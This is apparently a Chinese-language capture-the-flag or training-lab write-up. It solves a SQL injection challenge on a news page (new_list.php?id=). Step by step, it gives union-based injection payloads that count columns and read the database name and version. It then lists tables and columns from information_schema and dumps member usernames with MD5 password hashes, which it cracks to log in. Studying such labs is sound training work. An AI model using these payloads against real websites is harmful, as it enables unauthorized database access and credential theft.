启动靶场正常访问:
随便输入账号和密码:
并没有发现什么可用的信息
点击查看公告:
可以看到详细的公告哈!我们看看能不能在公告上做文章。
/new_list.php?id=1 and 1=1
很神奇,公告正常显示,这表示什么?没有闭合可以直接注入。
开始注入:
判断字段数
/new_list.php?id=1 and 1=1 order by 5
页面是空白的就不截屏了。在5之前都是能正常查询出数据的,所以字段个数是4哈
现在利用联合查询来观察展示在页面上的数据。
/new_list.php?id=1 and 1=2 union select 1,2,3,4
出来的数据是2和3,我们在2和3处来注入展示我们想要的数据。
爆库名:
/new_list.php?id=1 and 1=2 union select 1,database(),version(),4
爆表名:
/new_list.php?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="mozhe_Discuz_StormGroup" ),user(),4
爆列名:
/new_list.php?id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema="mozhe_Discuz_StormGroup" and table_name="StormGroup_member" ),user(),4
爆字段内容:
/new_list.php?id=1 and 1=2 union select 1,(select group_concat(t.up) from (select concat(name, "~",password) up from mozhe_Discuz_StormGroup.StormGroup_member) t),user(),4
最后我们看到蛋两个账号哈!密码是加过密的。这是32位的MD5加密,我们用工具,或者在线解密下。
去网站登入账号,就可以拿到key啦